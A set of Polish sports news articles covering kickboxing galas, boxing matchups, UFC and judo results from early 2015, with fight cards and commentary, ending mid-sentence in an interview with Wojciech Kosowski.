Kibice obserwujący zmagania z wysokości trybun i przed ekranami długo musieli czekać na nokaut. Siedem z dziewięciu pojedynków kończyło się decyzją sędziów. Dopiero Ruta i Wichowski położyli wisienkę na torcie. Niezwykle pysznym torcie. Po takiej gali z pewnością w niejednym domu, w niejednej głowie pojawiła się przyśpiewka: „jeszcze jeden, jeszcze jeden”. Grupa DSF zaserwowała niezwykle interesujący repertuar. Prezentujący wysoki poziom sportowy zawodnicy, stali się niejako kręgosłupem widowisk, do tego dochodzą wrażenia wizualne, eksponowanie wejść zawodników na ring, gra świateł. To wszystko tworzy niezwykłe show. Widowisko, które zapełnia trybuny po brzegi. Grupa DSF przyczynia się do popularyzacji kickboxingu. W Piasecznie został uczyniony znaczący krok na drodze profesjonalizacji tej dyscypliny. Przed galą w Piasecznie na swoim profilu w serwisie społecznościowym facebook grupa DSF napisała: „Niech posypią się gromy!”. Posypały się i to z „grubej rury”. W dalszym rozwoju niezbędne są wytrwałość, cierpliwość i gotowość podejmowania kolejnych wyzwań. Apetyt rośnie w miarę jedzenia. Czym grupa DSF zaskoczy kolejnym razem?

Kolejna odsłona zmagań już 18 kwietnia w Arenie Ursynów w Warszawie. Grupa DSF zaplanowała mecz Polska – Macedonia.

WYNIKI:

POJEDYNEK O PAS DSF CHALLENGE (FULL CONTACT -81KG)
Łukasz Wichowski pokonał Piotra Kołakowskiego (TKO – 5. runda)

FINAŁ TURNIEJU (K-1 RULES -81KG)
Kamil Ruta pokonał Mateusza Żukowskiego (KO – 1. runda)

EXTRAFIGHT O PUCHAR BURMISTRZA MIASTA I GMINY PIASECZNO (K-1 RULES -56KG)
Dorota Godzina pokonała Gabrielę Bednarowicz (decyzja)

POJEDYNEK O 3 MIEJSCE (K-1 RULES -81KG)
Jakub Bartnik pokonał Sebastiana Adamskiego (decyzja)

POJEDYNKI RANKINGOWE PRO-AM (K-1 RULES)
Sebastian Prokop pokonał Lecha Rosińskiego (decyzja)
Daniel Kolasiński pokonał Dominika Szczodrucha (decyzja)
Paulina Frankowska pokonała Katarzynę Jaworską (decyzja)
Maciej Garbaczewski pokonał Łukasza Kulmę (decyzja)
Roger Garbaczewskiego pokonał Karola Sadłocha (decyzja)

KM

Gołowkin z Cotto czy z Chavezem?

Giennadij Gołowkin to jeden z czołowych pięściarzy wagi średniej. Kazachowi poświęca się coraz więcej uwagi, gdyż jego myśli biegną w stronę bokserskiego szczytu.

Gołowkin jest mistrzem świata WBA od 2010 roku, kiedy to wywalczył pas w pojedynku z Felixem Sturmem. Do tej pory na zawodowym ringu nie zaznał goryczy porażki. W swojej karierze walczył z polskim bokserem – Grzegorzem Proksą i wygrał przez nokaut w piątej rundzie. Gołowkin w ostatnim pojedynku rozprawił się w jedenastej rundzie z Martinem Murrayem. Dodatkowo okazało się, że walki Kazacha cieszą się ogromną popularnością w Stanach Zjednoczonych. Starcie z Murrayem oglądało prawie milion widzów, co jest wynikiem imponującym w związku z tym, że pojedynek organizowany był w Europie (Monte Carlo). Gołowkin obecnie szuka nowych wyzwań.

Obóz Kazacha chciałby doprowadzić do starcia z Floydem Mayweatherem Jr bądź Saulem Canelo Alvarezem. Obecnie jest to niemożliwe, gdyż obaj pięściarze mają zaplanowany najbliższy czas. Mayweather w maju zmierzy się w wielkim pojedynku z Mannym Pacquiao. Alvareza czeka rywalizacja z Jamesem Kirklandem. Na mapie wagi średniej jest jeszcze jedno mocne nazwisko. – Canelo oraz Floyd są zajęci, więc najlepszą opcją jest doprowadzenie do unifikacyjnego starcia Gołowkina z Cotto – tak w skrócie sytuację określił Tom Loeffler, promotor kazachskiego pięściarza. Wedle powiedzenia „lepszy rydz niż nic”. Cotto ma być tzw. wyjściem awaryjnym dla Gołowkina i jego obozu. Loeffler podkreślał, że priorytetem jest doprowadzenie do rywalizacji z Mayweatherem bądź Alvarezem, ale na takie starcie trzeba poczekać. Obiektem zainteresowania Gołowkina stał się więc Miguel Cotto, który jest mistrzem świata WBC. Starcie Kazacha z Portorykańczykiem miałoby status walki unifikacyjnej. Cotto dzierży pas WBC, Gołowkin jest mistrzem WBA/IBO oraz tymczasowym mistrzem federacji WBC. Pojawia się pytanie: czy takie starcie jest możliwe?  Z dystansem do kwestii rywalizacji z Gołowkinem podchodzi sam Cotto.

Jednak z Kazachem chciałby stanąć „oko w oko” Julio Cesar Chavez Jr. Ostatnio Meksykanin zaproponował, że jest w stanie zapłacić milion dolarów w przypadku zwycięstwa Gołowkina przez nokaut. Obóz Kazacha pozytywnie odniósł się do  wyzwania Chaveza.  Meksykanin ponownie podbił stawkę, tym razem do dwóch milionów. Obie strony miałyby wyłożyć na stół po milion dolarów. W przypadku wygranej przez nokaut Gołowkin bądź Chavez zgarnęliby dwa miliony. Dlaczego Meksykanin złożył taką propozycję? Chavez jako były mistrz świata WBC wagi średniej chciałby podjąć jeszcze jedną próbę powrotu na szczyt. Meksykanin stoi na stanowisku, że czempion WBA nie jest wybitnym bokserem. – Nie widzę w Gołowkinie niczego specjalnego – mówił Chavez. Jednakże obecnie Meksykanin przygotowuje się do walki z Andrzejem Fonfarą, która odbędzie się 18 kwietnia. Plany, co do pojedynku z Gołowkinem musi odłożyć na później.

Kazach chciałby w końcu stoczyć wielki pojedynek. Optymalne byłoby starcie z Cotto, gdyby ten przyjąłby propozycje walki. Bo Chavez raczej zagrożeniem dla Gołowkina nie jest.

KM

Gala uświetniająca

Pełne zaangażowanie, mocne ciosy, zawziętość i gotowość do rywalizacji. Tak wyglądały walki podczas gali Fighters Night 3, która uświetniła obchody 25-lecia Polskiego Związku Kickboxingu.

Nuda? To słowo nie ma zastosowania, gdy mówimy o zawodach w Kielcach. Polscy fighterzy pokazali się z jak najlepszej strony i dodali blasku całej uroczystości. Jakże zacnej, gdyż dwadzieścia pięć lat działalności związku wiąże się z wytrwałością i ogromnymi staraniami popularyzacji kickboxingu w Polsce, a przede wszystkim zapewnienia odpowiednich warunków dla zawodników oraz trenerów.

W Kielcach w walce wieczoru wystąpił Dawid Kasperski, który zmierzył się z Dimitarem Ilievem o tytuł międzynarodowego mistrza Polski 86 kg. Pojedynek ciekawy i widowiskowy, obfitował w mocne ciosy. Kilkukrotnie był przerywany, aby zawodnicy mogli wytrzeć ociekającą z nich krew. Taki jest urok kickboxingu – zażarta walka, w której dochodzi do licznych spięć. Kasperski wygrał na punkty i zdobył pas międzynarodowego mistrza Polski. Z pewnością to sukces zawodnika Punchera Wrocław, który toczy boje już od dziesięciu lat. Kasperki ma ogromny potencjał, co w Kielcach potwierdził. Dopominają się o niego zagraniczne organizacje, które doceniają jego widowiskowy styl walki. Kasperski w Kielcach dołożył do swojej kolekcji kolejny tytuł.

O pas zawodowego mistrza Polski 91 kg walczyli Mateusz Hiki i Robert Cepak. Pojedynek nie rozstrzygnął się w regulaminowym czasie. Sędziowie jednogłośnie przyznali zwycięstwo zawodnikowi  Legionu Głogów. Nie zawiódł Wojciech Kosowski. Zawodnik warszawskiej Palestry po raz kolejny zaprezentował wysokie umiejętności.  Kosowski już w pierwszej rundzie przez KO pokonał rywala ze Słowacji. W wadze ciężkiej w Kielcach miał zaprezentować się Tomasz Sarara, jednak problemy zdrowotne sprawiły, że zastąpił go Patryk Proszek. Niestety Polak przegrał swoją walkę. Niejednogłośnie na punkty Proszek uległ Radovanowi Kulli. Efektownie zaprezentował się Arkadiusz Kaszuba, który w pierwsze rundzie przez KO pokonał Dawida Świerczyńskiego. W rywalizacji pań w wadze 52 kg Joanna Walkiewicz wzniosła ręce w geście triumfu. Polka decyzją sędziów pokonała Zuzanę Gabovą.

W Kielcach nie można było narzekać na nudę. Mocne nazwiska, które udowodniły swoją wartość. Kasperski zdobył pas i z pewnością dalej będzie kroczył ścieżką rozwoju sportowego aż dojdzie na szczyt. Z dobrej strony pokazał się Kosowski, który jest ikoną polskiego kickboxingu. Dobry występ Mateusza Hikiego, okraszony pasem zawodowego mistrza Polski. Poczynania zawodników obserwowało wielu znamienitych gości, wśród nich m.in. Marek Piotrowski – legenda polskiego kickboxingu. Obchody 25-lecia PZKb były świetną okazją do refleksji na temat stanu sportu uderzanego. Gala Fighters Night, która uświetniła uroczystość dała odpowiedź na pytanie o poziom kickboxingu w Polsce. Z pewnością potencjał jest ogromny, świadczą o tym sukcesy odnoszone na każdej imprezie międzynarodowej. Sportowo kickboxing jest na dobrym poziomie. Związkowi działacze muszą podjąć pracę nad popularyzacją dyscypliny i dotarciem do świadomości społecznej. To zadanie na kolejne lata działalności.

KM

Ociężały Solis poległ

Miało być inaczej. Kubańczyk w rewanżowym starciu z Tonym Thompsonem za cel wziął pokonanie rywala i udowodnienie, że zeszłoroczna porażka była dziełem przypadku. Otóż – nie była. Solis jest cieniem boksera, w którym widziano nową gwiazdę wagi ciężkiej. Porażka z Thompsonem może rozpocząć lawinę kłopotów kubańskiego pięściarza.

Rewanżowy pojedynek był wielokrotnie przekładany. Wpływ na ten fakt miały kłopoty zdrowotne Solisa, następnie kwestie organizacyjne, jednak udało się zaplanować pojedynek na koniec lutego w Turcji. 34-letni Kubańczyk do walki przystępował z nadzieją rewanżu za porażkę z marca ubiegłego roku. Nadzieje okazały się bezpodstawne. Solis powinien brać przykład z Thompsona, który w sposób poważny podchodzi do kwestii rywalizacji na ringu. Kubańczyk być może pójdzie tą drogą, ale czy nie jest już za późno?

Pojedynek w Turcji nie należał do ciekawych. Starcie jest przykładem smutnego upadku zawodnika, w którym tkwi ogromny potencjał, jednak kwestie mentalne hamują go i uniemożliwiają mu trwanie w drodze do sukcesu. Problem znajduje się w głowie. Solis wyszedł do pojedynku z nadwagą, ociężały i wielki stanął naprzeciw Thompsona. Ponad 40-letni już bokser w ringu był spokojny, opanowany. Thompson regularnie punktował Solisa ciosami prostymi. Kubańczyk starał się nawiązać walkę i czarować w półdystansie, ale niewiele z tego wynikało. Thompson bez większego wysiłku powiększał swoją uwagę. Tak naprawdę nie musiał nic robić, wystarczyło dać Kubańczykowi trochę czasu. Z upływem kolejnych minut Solis był coraz słabszy, nie miał sił poruszać się, dosłownie – słaniał się na nogach. W ósmej rundzie Thompson postanowił zakończyć męczarnie rywala. Dopadł go i bezlitośnie obijał. Solis nie był w stanie się bronić, jedynym ratunkiem okazał się gong. Kubańczyk do dziewiątej rundy już nie wyszedł – nie miał sił. Thompson zwyciężył Solisa po raz drugi. Wydaje się, że tym razem mniejszym nakładem sił. Dodatkowo Thompson zdobył pas WBC Continental Americas.

A Solis? Upadek. Zaniedbał się jako bokser, zapomniał o kondycji, formie i co najważniejsze – swoim potencjale. Solis wszedł w ślepą uliczkę, w której utknął. Chciał się zrewanżować Thompsonowi, ale nie wyszło. Tym samym Kubańczyk leci w dół, na jakiś czas może zapomnieć o poważnym boksie i interesujących propozycjach. Długo leczył kontuzje, być może musi zadbać o swoje zdrowie , ustabilizować je, ale przede wszystkim zdecydowanie należy popracować nad kwestiami mentalnymi. Obecną postawą Solis zmierza drogą nabijania rekordów innym pięściarzom. Był blisko szczytu, a teraz popada w niebyt. Promotor Ahmet Oner chce zakończył współpracę z pięściarzem. –. Straciłem czas, nerwy i pieniądze. Nie wierzę w to, ze Solis tak fatalnie wyglądał w rywalizacji z Thompsonem. To wstyd dla kubańskiego boksu. Kończę z nim, ten facet jest skończony – mówił Oner. Czy to koniec Solisa?

fot. PAP

KM

Szybka jak strzała – Ronda Rousey

Nie ulega wątpliwości, że Ronda Rousey jest gwiazdą i jedną z najbardziej rozpoznawalnych twarzy UFC. Zawodniczka po raz kolejny udowodniła swoją wielkość. Pokazała światu, że jest przebiegła jak lis, szybka jak jaguar i skuteczna jak Cristiano Ronaldo. Co zrobiła? Wygrała kolejną walkę. Na UFC 184 pokonała Cat Zingano.

Co za kobieta! Niesamowita! Jak ona walczy! Zachwyt, słowa uznania, czasami niedowierzanie – tak należy charakteryzować podejście do osoby Rondy Rousey. Walka z Zingano była wydarzeniem w kobiecym MMA. Rousey stanęła naprzeciw trudnej rywalki, z którą mogła pokusić się o interesującą walkę. Dreszczyk emocji był. Pojawia się pytanie: czy wszyscy zanotowali tę walkę? Wystarczyło, że ktoś mrugnął oczyma i już widział Rousey z rękoma w górze. Gwiazda UFC uporała się z Zingano w czternaście sekund!

Tym samym Ronda Rousey obroniła mistrzowski pas w wadze koguciej. Zingano ruszyła odważnie na rywalkę i chciała zaatakować ją kolanem, jednakże w ferworze walki zawodniczki znalazły się na ziemi. Rousey wykorzystała okazję. Przetoczyła rywalkę, po czym założyła dźwignię na rękę. Zingano była bezradna i musiała poddać pojedynek. Walka trwała zaledwie czternaście sekund! 28-letnia zawodniczka odniosła jedenaste zwycięstwo podczas swojej przygody z MMA. Dla Rousey była to pierwsza walka w tym roku, więc bardzo efektownie rozpoczęła zmagania w oktagonie. Teraz brązowa medalista Igrzysk Olimpijskich w Pekinie w judo czeka na kolejne wyzwania.

Czy będzie nim zawodniczka  o pseudonimie „Cyborg”? Cristiane Justino wróciła do zmagań po dłuższej przerwie. Podczas gali Invicta FC 11 zmierzyła się z Charmaine Tweet. Idealny powrót, szybkie i pewne zwycięstwo. „Cyborg” potrzebowała zaledwie czterdziestu sześciu sekund, aby odprawić rywalkę ze złamanym nosem. Seria ciosów Justino była nie do powstrzymania przez Tweet, która musiała uznać wyższość przeciwniczki. Efektowne zwycięstwo „Cyborg”, które sprawia, że siły nabierają ponownie głosy na temat jej walki z Rousey.

Najważniejsze, żeby Justino zeszła do wagi koguciej. Wtedy pojedynek byłby jak najbardziej realny. Walka dwóch fighterem, która zelektryzowałaby cały świat sportów walki. Niepokonana Rousey naprzeciw efektownie Justino. Walczyły dzień po dniu. Licytację rozpoczęła Justino, która pokonała rywalkę w czterdzieści sześć sekund. Rousey odpowiedziała zdecydowanie – potrzebowała czternastu sekund. Justino byłaby prawdziwym wyzwaniem dla mistrzyni UFC, gdyż ostatnią porażkę zanotowała dziesięć lat temu! „Cyborg” kroczy od zwycięstwa do zwycięstwa. Pojedynek Rousey – Justino, z każdą chwilą smak się zaostrza.

Rousey była gwiazdą gali UFC 184. Na kolejnej odsłonie show organizacji swoją walkę stoczy Joanna Jędrzejczyk, która będzie rywalizowała o pas wagi słomkowej z Carlą Esparzą. Czy Polka zachwyci świat tak jak Rousey? Liczy się zwycięstwo. Kobiece MMA zyskuje coraz więcej fanów. Ta Rousey, czternaście sekund, co za skuteczność!

KM

Warszawski sukces Sarnackiego

Puchar Świata na warszawskim Torwarze obfitował w bardzo dobre występy naszych reprezentantów. Wysokie notowania potwierdził Maciej Sarnacki, który zwyciężył w kategorii +100 kg.

W zawodach wzięło udział ponad trzystu zawodników. Warszawski Torwar był obiektem zmagań judoków na najwyższym poziomie. Rywalizacja trwała dwa dni, w sobotę biało – czerwoni nie wywalczyli żadnego medalu. W niedzielę nasi reprezentanci zdobywali już miejsca w czołówce.

Maciej Sarnacki sięgnął po złoto w kategorii + 100 kg. Polak wygrał wszystkie pięć walk, w tym finałową z Kim Sung-Minem z Korei Południowej. Wynik godny odnotowania, który robi wrażenie ze względu na perypetie Sarnackiego. W ostatnim czasie judoka chorował na półpasiec i nie trenował regularnie. Sarnacki stał się kolejnym Polakiem, który triumfował na warszawskim Torwarze. W 2007 roku w stolicy zwyciężył Przemysław Matyjaszek. Sarnacki zdobył złoty medal i istotne punkty do rankingu, które są niezwykle istotne w kontekście startu na Igrzyskach Olimpijskich w Rio de Janeiro. Zawodnik Gwardii Olsztyn miał udany poprzedni sezon, w którym stawał na podium zawodów międzynarodowych. Z pewnością jest jednym z kandydatów do zdobycia medali na mistrzostwach Europy i świata.

Życiowy wynik w Warszawie osiągnął Jakub Kubieniec w kategorii 81 kg. Polak zajął trzecią pozycję, a w decydującym pojedynku przez ippon pokonał Asafa Chena. Kubieniec w tym roku prezentował się poniżej oczekiwań. Podczas Pucharu Świata w Rzymie i Grand Prix w Duesseldorfie nie wygrał żadnej walki. Występ przed polską publicznością okazał się dodatkową motywacją, która pozwoliła mu osiągnąć najlepszy wynik w karierze. Na drodze do finału Polakowi stanął Wang Ki-Chun, wicemistrz olimpijski z Pekinu. Brąz w Warszawie wywalczył Patryk Ciechomski z AZS-u AWF Katowice w kategorii 90 kg. Występ zawodnika na Torwarze stał pod znakiem zapytania, gdyż podczas jednego z treningów doznał urazu kolana. Ostatecznie Ciechomski zaprezentował się przed warszawską publicznością i zajął trzecie miejsce. W decydującym pojedynku uporał się z Komronszochem Ustopirijonem z Tadżykistanu. Piątą lokatę w niedzielę zajął Jakub Wójcik w kategorii 100 kg. Polski judoka przegrał przez ippon z Philipem Awitialcarazem.

W sobotę nasi reprezentanci nie mieli powodów do radości. Najlepiej zaprezentował się Aleksander Beta, który zajął piątą pozycję. Łukasz Kiełbasiński i Igor Dzierżanowski zajęli siódme miejsca. Niedzielne występy wprawiły fanów w szampański nastrój.

Maciej Sarnacki wygrał i potwierdził, że jest mocnym kandydatem do medali na najważniejszych imprezach, a także nadzieją na podium podczas Igrzysk Olimpijskich w Rio de Janeiro. Jakub Kubieniec osiągnął życiowy sukces, który jest wartością mogącą pozwolić zawodnikowi uwierzyć we własne siły. Weekend w Warszawie należy ocenić pozytywnie. Polacy wywalczyli trzy medale i pozostawili po sobie dobre wrażenie. Za tydzień odbędzie się Nadzwyczajny Zjazd Polskiego Związku Judo, podczas którego poznamy nowe władze.

KM

Włodarczyk idzie po swoje

Krzysztof „Diablo” Włodarczyk czeka na rewanżową walkę z Grigorijem Drozdem, w której będzie starał się odzyskać tytuł mistrza świata WBC kategorii junior ciężkiej. Polski bokser pas utracił we wrześniu ubiegłego roku.

Walka z Drozdem w Moskwie była w wykonaniu Diablo po prostu słaba. Rosjanin kontrolował pojedynek, był szybszy i zdecydowany, a co najważniejsze – skuteczny. Z kolei Diablo wyglądał na zagubionego, nie miał pomysłu na walkę. Sędziowie wskazali nowego mistrza – Drozda. Rosjanin świetnie taktycznie zaplanował pojedynek i osiągnął cel jakim było zdobycie mistrzowskiego pasa WBC. Włodarczyk musiał pogodzić się z porażką, dotkliwą porażką.

Cios dla Diablo tym bardziej bolesny, gdyż dzierżył pas w swoich dłoniach przez cztery lata. Toczył dramatyczne boje, z Greenem czy Fragomenim, z których wychodził zwycięsko. Stawiał czoła kolejnym wyzwaniom i jako jedyny polski bokser cieszył się z posiadania mistrzostwa świata. Jednak we wrześniu 2014 roku w Moskwie obecny był inny Włodarczyk. Mało zdecydowany, wolny i niepotrafiący znaleźć sposobu na rywala. Drozd dosłownie tańczył w ringu i punktował Polaka. Włodarczyk ma nadzieję, że w rewanżowym starciu, które odbędzie się 22 maja, zwycięży. Pas ma wrócić we właściwe ręce.

Kwestią fundamentalną jest forma Włodarczyka. Polski bokser na początku lutego wrócił do treningów po kontuzji barku. Po długiej przerwie „Diablo” rozpoczął przygotowania do kolejnej walki. Trenuje codziennie – na siłowni i w ringu. Ma ponad dwa miesiące na odbudowanie formy, rozpracowanie rywala i perfekcyjnie przygotowanie się do pojedynku. Choć zna przeciwnika to musi znaleźć na niego sposób. Drozd jest rywalem w zasięgu Włodarczyka, nie można powiedzieć, że jest lepszy. „Diablo” w dobrej dyspozycji jest faworytem w starciu z Rosjaninem, jednak musi to być „stary, dobry Diablo”. Powtórka z września nie może mieć miejsca. Włodarczyk wie, o co toczy się gra. Najistotniejszy jest pas mistrza świata WBC, który należał do niego kilka lat i jest powodem do dumy, a także świadczy o poziomie boksera. Tytuł to jedno, z drugiej strony walka sięga głębiej. Porażka jest niedopuszczalna, gdyż sprawi, że „Diablo” może stracić szansę na boksowanie na najwyższym poziomie. Z pewnością Polak jest tego świadom, ale podejmuje wyzwanie. Wierzy w swoje siły i nie dopuszcza do siebie myśli o porażce. Włodarczyk jest skoncentrowany na odzyskaniu mistrzowskiego pasa. Ma świadomość, że najlepszym rozwiązaniem w starciu z Drozdem będzie nokaut, żadne kalkulacje nie wchodzą w grę.

„Diablo” musi odbudować się fizycznie, ale również psychicznie. Nie ulega wątpliwości, że wpływ na formę boksera mają jego problemy osobiste. Najistotniejsze jest, że pięściarstwo nadal jest priorytetem dla Włodarczyka. Polski bokser chce odzyskać pas i wierzy, że jego kariera będzie się rozwijała. Oby tak było. 22 maja w starciu z Drozdem będzie miał okazję udowodnić, że wrześniowa porażka była tylko wypadkiem przy pracy.

KM

Bitwa wysokiego uderzenia

Gala DSF Kickboxing Challenge 2 dostarczyła wielu emocji i wrażeń, więc organizator Sławomir Duba nie poprzestał na tym. Już 28 lutego w Piasecznie kolejna odsłona zmagań w sporcie uderzanym na najwyższym poziomie. Podczas DSF Kickboxing Challenge 3  zaprezentują się m.in. Dorota Godzina i Łukasz Wichowski.

Szczególny wymiar gala będzie miała dla młodzieżowego międzynarodowego mistrza Polski w full-contact. Wichowski trenuje w klubie X-Fight Piaseczno i z pewnością może liczyć na wsparcie z trybun. Będzie niezwykle potrzebne, gdyż jego rywalem będzie Piotr Kołakowski – wicemistrz Polski full-contact. Zapowiada się pojedynek na najwyższym poziomie, gdyż żaden z fighterów nie zamierza „tanio sprzedać skóry”. Stawką rywalizacji będzie mistrzowski pas DSF Challenge. Kołakowski śledząc występy Wichowskiego wie, że ma się, czego obawiać. Zawodnik z Piaseczna podczas poprzedniej gali DSF rozprawił się ze Słowakiem Tomasem Neupauerem. Wichowski nie miał litości dla rywala, który trzykrotnie lądował na deskach.

W Piasecznie dojdzie do starcia Kamila Ruty z Mateuszem Żukowskim w K-1 rules. Będzie to finał czteroosobowego turnieju, który swoją pierwszą odsłonę miał w Ząbkach. W półfinale Żukowski wypunktował Jakub Bartnika w bardzo widowiskowej walce. Fighterzy nie szczędzili sobie mocnych ciosów, co było bardzo widowiskowe. Decyzją sędziów 3:0 wygrał Żukowski. Kamil Ruta szybko znokautował Łukasza Adamskiego. Mistrz świata w kick-light będzie faworytem rywalizacji, jednak Żukowskiemu nie można odmówić serca do walki oraz charakteru. Ruta stanie przed trudnym wyzwaniem.

Dziesiątą walkę w karierze stoczy Dorota Godzina, która stanie „oko w oko” z Gabrielą Bednarowicz. Pojedynek kobiet z pewnością dostarczy wielu emocji, gdyż walki pań charakteryzują się niezwykłą zaciętością. Bednarowicz jest srebrną medalistką Pucharu Polski 2014 i w Piasecznie będzie chciała „utrzeć nosa” Godzinie. Zawodniczka DSF Kickboxing Team jest niepokonana i zamierza podtrzymać tę passę. Podczas DSF Challenge 2 Godzina pokonała EwelinęNowosielską , zdobywając tytuł zawodowej mistrzyni Mazowsza K-1 w kategorii 56 kg.

Walkę Łukasza Adamskiego i Jakuba Bartnika można okrzyknąć mianem pojedynku o brązowy medal. Zawodnicy staną do rywalizacji jako przegrani czteroosobowego turnieju K-1, jednak z pewnością dadzą ciekawy pokaz. W Piasecznie zaprezentują się również m.in. Lech Rosiński czy Maciej Garbaczewski. Walkę w formule K-1 70 kg stoczą Paulina Frankowska oraz Katarzyna Jaworska.

Trzon kolejnej gali grupy DSF oparty jest na Łukaszu Wichowskim oraz Dorocie Godzinie, którzy stanowią swego rodzaju kręgosłup teamu. W Ząbkach zaprezentowali wysoki poziom i w Piasecznie wszyscy liczą na kontynuację widowiskowości, efektywności oraz potężną dawkę emocji. Wichowskiego czeka trudne wyzwanie, gdyż Kołakowski jest wymagającym rywalem. Dodatkowym „smaczkiem” rywalizacji jest stawka pojedynku, czyli pas mistrzowski. Organizatorzy zaplanowali dla widzów atrakcje muzyczne, grę świateł, a przede wszystkim – emocje sportowe na najwyższym poziomie.

Zapraszamy do śledzenia gali DSFKickboxing Challenge 3  NA ŻYWO na antenie Fightime.pl. Początek gali 28 lutego 2015 roku o godzinie 19:00 w Piasecznie przy ulicy Sikorskiego 20.

KARTA WALK:

Walka wieczoru o pas DSF Challenge:

1. Formuła Full Contact kat. – 81kg: Łukasz Wichowski (DSF Kickboxing Team) vs. Piotr Kołakowski (Zamek Kurzętnik)

Finał turnieju K-1 kat. -81 kg:

2. Formuła K-1 kat. -81kg: Kamil Ruta (DSF Kickboxing Team) vs. Mateusz Żukowski (Terlik Team Mikołajki)

Extrafight:

3. Formuła K-1 kat. -56kg: Dorota Godzina (DSF Kickboxing Team) vs. Gabriela Bednarowicz (SKK-b Kielce)

Walki rankingowe Pro-am:

4. Formuła K-1 kat. -81kg: Jakub Bartnik vs. Sebastian Adamski

5. Formuła K-1 kat. -75kg: Mark Kołłątaj vs. Daniel Kolasiński

6. Formuła K-1 kat. -70kg: Maciej Garbaczewski vs. Adrian Kulma

7. Formuła K-1 kat. -75kg: Lech Rosiński vs. Sebastian Prokop

8. Formuła K-1 kat. -70kg: Paulina Frankowska vs. Katarzyna Jaworska

9. Formuła K-1 kat. -67kg: Karol Sadłocha vs. Paweł Nowakowski

KM

Wojna o tron

Ustalenia między stronami, niuanse, podział zysków, miejsce, data – to wszystko jest jużzamknięte. Pewien etap sagi został zakończony. Floyd Mayweather Jr i Manny Pacquiao staną naprzeciw siebie w Las Vegas 2 maja. Wydaje się, że ta informacja była najważniejsza. Temat pojawił się i historia rozpoczęła bieg, w którym istotnym punktem podpisanie kontraktu.

W tym momencie dyskusja wchodzi na tory czysto sportowe. Czy na pewno? Przypadek walki Mayweathera i Pacquiao jest wyjątkowy. To ogromny biznes, wielkie pieniądze – pojedynek o fortunę. Jednakże długo pompowany balon nabiera jeszcze większych rozmiarów, a do walki nieco ponad dwa miesiące. Istotne, aby bokserzy dostosowali poziom widowiska sportowego do wytworzonego wokół pojedynku napięcia. Niemożliwe wydaje się, żeby pojedynek na płaszczyźnie sportowej był niewypałem. Z drugiej strony oczekiwania opinii są ogromne. Widzów nie zadowoli widok samych gwiazd, lecz ich zaangażowanie, wymiana ciosów i otwarta walka. Mayweather i Pacquiao staną w ringu jako autorzy jednego z największych wydarzeń sportowych XXI wieku. Oczekiwania są wielkie, ale gdzieś z tyłu głowy trzeba pamiętać, że zwyciężyć może asekuracja. Czy w tym wypadku? Szybki i pracowity jak mrówka Pacquiao walki unikał nie będzie, Mayweather to showman, który zrobi wiele, aby zyskać aplauz publiczności.

Zakontraktowanie pojedynku Moneya i Pacmana było wielkim wydarzeniem w świecie boksu. Ten etap już za nami. Teraz na afisz wchodzi aspekt sportowy. Ostatnimi czasy walki zapowiadane jako wielkie rozczarowują. Wyjątkiem z pewnością był pojedynek Stiverne – Wilder. Najważniejsze, aby 2 maja Mayweather i Pacquiao mieli w sobie sportową złość, agresję i zawzięcie, które przerodzą się w wartościowy pojedynek pięściarski. Zabiegi marketingowe, przygotowanie show oraz sprzedaż pojedynku to istotne elementy na drodze do realizacji planu osiągnięcia sukcesu, jednakże w wymiarze biznesowym, tudzież finansowym. Dla publiczności i obserwatorów wartością będzie sam pojedynek. Ten drugi etap sagi nie może zawieść, gdyż będzie miał wpływ na obraz całości. Dodatkiem do rywalizacji będzie fakt, że organizacja WBC chce ufundować specjalny tytuł mistrzowski na ten pojedynek.

Defensywny Mayweather kontra ofensywny Pacquiao. Aktywność Pacmana może być tym czynnikiem, który sprawi, że walka będzie interesująca. Mayweather jest ostrożny i uważny, ale nie może pozostać niewzruszony na zabiegi rywala, a Pacquiao z pewnością będzie niezwykle zmotywowany do tego starcia. Według wielkiego mistrza wagi ciężkiego Lennoxa Lewisa minimalnym faworytem pojedynku będzie Money. – Mayweather ma wyjątkowy talent i predyspozycje do wygrywania, dlatego też będzie minimalnym faworytem. Z kolei Pacquiao jest niezwykle ambitny i ma ogromne serce do walki. Nie można go skreślać, gdyż nie raz pokazał w ringu, że potrafi wychodzić z trudnych opresji – powiedział Lewis. Kluczem do sukcesu pojedynku będzie jego atrakcyjność. Czy pięściarze nie zawiodą? Jeden z nich znajdzie się na tronie, ale najpierw muszą stoczyć wojnę, aby zająć pozycję króla bokserskiego imperium.

KM

Kosowski: Nie jadę na mistrzostwa świata

Wojciech Kosowski, wybitny zawodnik kickboxingu, będzie jedną z gwiazd gali Fighters Night 3, która odbędzie się 28 lutego podczas obchodów 25-lecia Polskiego Związku Kickboxingu.

Reprezentant warszawskiej Palestry w limicie wagowym do 75 kg zmierzy się ze Słowakiem Miroslawem Smolarem. Fighterzy nigdy wcześniej nie mieli okazji się spotkać, choć występowali razem podczas Pucharów Świata w Szeged. Kosowski podkreśla, że Smolar będzie niewygodnym przeciwnikiem. – Nigdy nie miałem okazji spotkać się w ringu z tym zawodnikiem. Żadnego przeciwnika nie można lekceważyć. Na pewno nie będzie wygodnym dla mnie oponentem. Jest ruchliwy, skoczny, wydaje się nawet chaotyczny, co powoduje, że jest bardziej nieprzewidywalny i niebezpieczny – powiedział nam mistrz świata Pro-Am w tajskim boksie z 2014 roku. Kosowski będzie rywalizował ze Smolarem w K-1, jednak preferowałby walkę w innej odsłonie. – Zdecydowanie wolałbym konfrontację z nim na zasadach muay thai z dopuszczalnym klinczem. W K-1 rules mimo, że jest mniej utytułowany ode mnie, to szanse są wyrównane.

Kosowski wystąpi w Kielcach podczas obchodów 25-lecia Polskiego Związku Kickboxingu. Okazja do świętowania, a zarazem dokonywania analiz i wyciągania wniosków. PZKb wspiera zawodników w rozwoju ich karier, zarówno na płaszczyźnie sportowej jak i finansowej. Kickboxing stopniowo rozwija się w Polsce, choć jego popularność jest nadal skromna. Mimo to historia dyscypliny jest bogata i mamy wielu utytułowanych fighterów. – Polski Związek Kickboxingu to związek z tradycjami. Trwale rozwija się od 1989 roku. Wiele osób kojarzy go z legendami kickboxingu, takimi jak sam Marek Piotrowski, Przemysław Saleta, Józef Warchoł, Piotr Siegoczyński, Bogdan Sawicki oraz trenerem kadry z tamtych lat, a obecnym prezesem PZKB Andrzejem Palaczem – wyliczał Kosowski. Obecnie Polska może poszczycić się również wybitnymi zawodnikami. Najwyższe z możliwych umiejętności charakteryzują Kosowskiego, Głogowskiego, Parchetę czy Jędrzejczyka. Dodatkowo mamy wielu zawodników z potencjałem, którzy odnoszą sukcesy 